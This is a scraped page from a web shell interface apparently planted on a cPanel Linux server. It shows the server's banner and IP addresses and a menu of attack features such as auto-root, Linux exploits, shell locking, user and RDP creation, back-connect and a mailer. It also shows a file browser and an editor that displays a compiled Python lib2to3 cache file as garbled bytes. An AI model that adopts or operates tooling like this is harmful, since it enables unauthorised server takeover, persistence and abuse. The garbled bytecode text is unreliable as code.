Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.198
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
lib2to3 /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
303
B
-rw-r--r--
__main__.cpython-310.pyc
216
B
-rw-r--r--
btm_matcher.cpython-310.pyc
4.79
KB
-rw-r--r--
btm_utils.cpython-310.pyc
6.02
KB
-rw-r--r--
fixer_base.cpython-310.pyc
6.13
KB
-rw-r--r--
fixer_util.cpython-310.pyc
11.79
KB
-rw-r--r--
main.cpython-310.pyc
8.5
KB
-rw-r--r--
patcomp.cpython-310.pyc
5.41
KB
-rw-r--r--
pygram.cpython-310.pyc
1.24
KB
-rw-r--r--
pytree.cpython-310.pyc
23.83
KB
-rw-r--r--
refactor.cpython-310.pyc
20.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : btm_utils.cpython-310.pyc
o ��bc�& � @ s| d Z ddlmZ ddlmZmZ ddlmZmZ eZ eZ ej Z eZ dZdZdZG dd � d e�Zdd d �Zd d� Zdd� Zd S )z0Utility functions used by the btm_matcher module� )�pytree)�grammar�token)�pattern_symbols�python_symbols���������c @ s: e Zd ZdZd dd�Zdd� Zdd� Zd d � Zd d � ZdS )�MinNodez�This class serves as an intermediate representation of the pattern tree during the conversion to sets of leaf-to-root subpatternsNc C s. || _ || _g | _d| _d | _g | _g | _d S )NF)�type�name�children�leaf�parent� alternatives�group)�selfr r � r �(/usr/lib/python3.10/lib2to3/btm_utils.py�__init__ s zMinNode.__init__c C s t | j�d t | j� S )N� )�strr r )r r r r �__repr__ s zMinNode.__repr__c C s� | }g }|rt|j tkr0|j�|� t|j�t|j�kr(t|j�g}g |_|j}q|j}d} |S |j tkrY|j �|� t|j �t|j�krQt |j �}g |_ |j}q|j}d} |S |j t j kri|j ri|�|j � n|�|j � |j}|s|S )z�Internal method. Returns a characteristic path of the pattern tree. This method must be run for all leaves until the linear subpatterns are merged into a singleN)r �TYPE_ALTERNATIVESr �append�lenr �tupler � TYPE_GROUPr � get_characteristic_subpattern� token_labels�NAMEr )r �node�subpr r r � leaf_to_root! s> � � �"zMinNode.leaf_to_rootc C s& | � � D ] }|�� }|r| S qdS )a� Drives the leaf_to_root method. The reason that leaf_to_root must be run multiple times is because we need to reject 'group' matches; for example the alternative form (a | b c) creates a group [b c] that needs to be matched. Since matching multiple linear patterns overcomes the automaton's capabilities, leaf_to_root merges each group into a single choice based on 'characteristic'ity, i.e. (a|b c) -> (a|b) if b more characteristic than c Returns: The most 'characteristic'(as defined by get_characteristic_subpattern) path for the compiled pattern tree. N)�leavesr# )r �lr" r r r �get_linear_subpatternK s ��z MinNode.get_linear_subpatternc c s0 � | j D ] }|�� E dH q| j s| V dS dS )z-Generator that returns the leaves of the treeN)r r$ )r �childr r r r$ ` s � �zMinNode.leaves)NN) �__name__� __module__� __qualname__�__doc__r r r# r& r$ r r r r r s * r Nc C s� d}| j tjkr | jd } | j tjkrIt| j�dkr$t| jd |�}�n�ttd�}| jD ]}| j� |�d r7q,t||�}|durF|j� |� q,�nw| j tj krt| j�dkrutt d�}| jD ]}t||�}|rm|j� |� q^|jssd}�nKt| jd |�}�nA| j tj k�r�t| jd tj�r�| jd jdkr�t| jd |�S t| jd tj�r�| jd jdks�t| j�dkr�t| jd d�r�| jd jdkr�dS d }d}d}d }d} d } | jD ].}|j tjkr�d }|}n|j tjkr�d }|} n|j tjkr�|}t|d��r|jd k�rd } q�| �r!| jd } t| d��r | jdk�r | jd } n| jd } | j tjk�rT| jd k�r9ttd�}nItt| j��rJttt| j�d�}n8ttt| j�d�}n.| j tjk�rv| j�d�} | t v �rntt | d�}nttj| d�}n | j tjk�r�t||�}|�r�| jd jdk�r�d}n | jd jdk�r�nt �|�r�|du�r�|jdd� D ]}t||�}|du�r�|j� |� �q�|�r�||_ |S )z� Internal function. Reduces a compiled pattern tree to an intermediate representation suitable for feeding the automaton. This also trims off any optional pattern elements(like [a], a*). N� � )r r �(�[�valueTF�=� �any�')r r �*�+r ) r �syms�Matcherr � Alternativesr � reduce_treer r �indexr � Alternativer �Unit� isinstancer �Leafr0 �hasattr�Details�Repeaterr r �TYPE_ANY�getattr�pysyms�STRING�strip�tokens�NotImplementedErrorr ) r! r �new_noder' �reducedr � details_node�alternatives_node� has_repeater� repeater_node�has_variable_name� name_leafr r r r r: g s� �� ��� � � �r: c s� t | t�s| S t| �dkr| d S g }g }g d��g }d� | D ]2}tt|dd� ��rQtt|� fdd���r;|�|� q tt|�fdd���rL|�|� q |�|� q |rW|} n |r\|} n|r`|} t| td �S ) z�Picks the most characteristic from a list of linear patterns Current order used is: names > common_names > common_chars r r, )�in�for�if�not�Nonez[]().,:c S s t | �tu S �N)r r ��xr r r �<lambda>� s z/get_characteristic_subpattern.<locals>.<lambda>c � t | t�o| � v S rW �r> r rX )� common_charsr r rZ � c r[ rW r\ rX )� common_namesr r rZ r^ )�key)r> �listr r3 �rec_testr �max)� subpatterns�subpatterns_with_names� subpatterns_with_common_names� subpatterns_with_common_chars� subpatternr )r] r_ r r � s8 � � � r c c s: � | D ]}t |ttf�rt||�E dH q||�V qdS )zPTests test_func on all items of sequence and items of included sub-iterablesN)r> ra r rb )�sequence� test_funcrY r r r rb s � �rb rW )r+ � r �pgen2r r �pygramr r r7 rE �opmaprH r rC r r �objectr r: r rb r r r r �<module> s W %
Close
